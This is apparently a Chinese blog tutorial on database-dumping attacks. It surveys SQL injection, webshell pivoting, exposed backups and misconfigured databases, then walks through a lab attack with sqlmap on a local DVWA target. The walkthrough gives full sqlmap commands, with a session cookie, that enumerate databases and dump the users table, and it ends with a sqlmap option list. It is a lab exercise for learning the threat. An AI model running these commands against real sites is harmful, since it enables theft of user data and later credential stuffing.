在黑客术语里面,”拖库“是指黑客入侵有价值的网络站点,把注册用户的资料数据库全部盗走的行为。因为谐音,也经常被称作“脱裤”。网络站点的数据库信息泄露究竟对用户有何影响呢?我们举一个游戏玩家受害者的例子,请看下图(盗的):
现在基本明白了,为何我们总是说:在互联网的时代我们就是一群裸奔者。现在我们往回推,数据库是如何泄露的呢?答案是:黑客为了得到数据库的访问权限并取得用户数据,通常会从技术层面和社会工程学层面两个方向入手。好了,开始盗图了:
这里主要介绍一下技术层面的一些拖库方法:
1.SQL 注入:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。这里没有详细说明sql注入的原理,我们可以私下讨论,欢迎交流。
2.webshell上传拖库脚本:webshell是一种网页后门,关于webshell检测特征分析在我之前的文章做过叙述(https://www.jianshu.com/p/fdd17956a3eb),欢迎大神们审阅。webshell上传脱库脚本导出数据,这种方法也叫数据库桥接。意思就是,我这台机器的 IP 不在你的数据库受信列表里面,我访问不了你,那我就用你信任的主机当个跳板来连你,然后就把你的数据全拖了。这个方法也是用的最多的。大部分的数据库设置都会限制陌生的主机来访问,但是当这个脱库的请求是信任的主机发出的时候,那就可以畅通无阻了。还有一个特点就是方便,开源的WebShell很多,对普通攻击者是一种福利。
3.备份文件漏铜:有些网站会有自动备份的功能,但是因为某些配置不当,把备份的 SQL 文件直接放在了网站某个目录里面,还没有做任何权限处理,你只要猜对了文件名,这些纯文本的数据库文件全是你的。
4.数据库配置不当,直接连接数据库:通过文件下载漏洞,搞到了数据库配置文件,或者是弱口令爆出了数据库密码。一般情况下,数据库的配置都是只允许 localhost 登录,但是有些管理员会修改这个。对于mysql数据库,常用的直连工具有mysqldump等。
上述4种方法是比较经典比较常用的,如果还有更好的手段希望各位读者与小编留言,不胜感激。说了这么多,让我们真刀真枪的脱一次裤吧~。
首先是建立靶机,在ubuntu系统下安装了xampp(xampp是将Apache+MySQL+PHP+PERL是一个功能强大的建站集成软件包),然后搭建了开源dvwa,它是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,搭建完xampp后我们启动一下它:
为了确定我们是否成功启动,我们可以访问一下自己的web页面:
OK成功。我们的dvwa应用放在了/opt/lampp/htdocs/下,命名为dvwa_fuck,访问一下吧各位:
接下来点击DVWA Security,将security level调整为low,方便攻击嘛~
各位亲看到SQL Injection了么?点击后随便输入一个ID,我这里是1。输入完之后submit一下可以得到我们需要的url:http://192.168.132.149/dvwa_fuck/vulnerabilities/sqli/?id=1&Submit=Submit。这是sqlmap的一个参数哦~我们打开浏览器工具,可以查询到其cookie,这也是一个参数:
好了,靶机的一些介绍就是这些。下面我们来看一下攻击端。攻击主机是kail,利用的工具是sqlmap,它是长这个样子滴:
靶机中存在以下不同名称的数据库,我们用sqlmap命令来看看都有啥:
sqlmap -u 'http://192.168.132.149/dvwa_fuck/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie 'security=low; PHPSESSID=c2b45dda7494f869c6c4a782327ac1a0' --dbs
看到了6个不同的数据库,其中dvwa就是我们下一步攻击的主要目标了。让我们看看这个数据库中究竟有什么表:
sqlmap -u 'http://192.168.132.149/dvwa_fuck/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie 'security=low; PHPSESSID=c2b45dda7494f869c6c4a782327ac1a0' -D dvwa --table
我们可以看到一种一个表叫做users,这要是某个支付平台的用户名你说可怕不可怕?好了,我们看一下users表有哪些字段。
sqlmap -u 'http://192.168.132.149/dvwa_fuck/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie 'security=low; PHPSESSID=c2b45dda7494f869c6c4a782327ac1a0' -D dvwa -T users --columns
现在我们可以根据字段user查看一下用户名称了:
sqlmap -u 'http://192.168.132.149/dvwa_fuck/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie 'security=low; PHPSESSID=c2b45dda7494f869c6c4a782327ac1a0' -D dvwa -T users -C 'user' --dump
同理我们可以任意查询某个字段的信息,这样别人数据库的内容恐怕就都是你的了。当然我们也可以查看整个数据库的信息:
sqlmap -u 'http://192.168.132.149/dvwa_fuck/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie 'security=low; PHPSESSID=c2b45dda7494f869c6c4a782327ac1a0' -D dvwa -T users --dump
现网中的攻击肯定不会如此容易,希望各位且行且珍惜。写这边文章的目的在于总结和积累,因为工作的原因需要了解一下敌情,拖库后就是撞库了,毕竟用户们可能会在不同的平台注册相同的用户名密码,所以很容易被攻击者利用。今天看到一句话说的很好:脱库利用的是目标网站的漏洞,而撞库利用的是用户习惯的漏洞。所以在这个裸奔的时代,请大家注意信息安全吧。
最后我们来学习一下salmap的参数:
--cookie => 设置我们的 cookie 值 “将 DVWA 安全等级设置为 low”
--data => 设置 POST 提交的值,如果是 GET 提交,不需要此选项
-u => 指定目标 URL
-b => 获取 DBMS banner
--current-db => 获取当前数据库
--current-user => 获取当前数据库的用户
--tables => 获取数据库里所有的表名
--columns => 获取表里的所有字段
--dump => 获取值
--current-user => 获取当前用户
-D => 爆库指定数据库名
-T => 爆库指定表名
-C => 爆库指定字段名
--string => 当查询可用时用来匹配页面中的字符串
--users => 枚举 DBMS 用户
--password => 枚举 DBMS 用户密码 hash
--dbs => 枚举 DBMS 中的数据库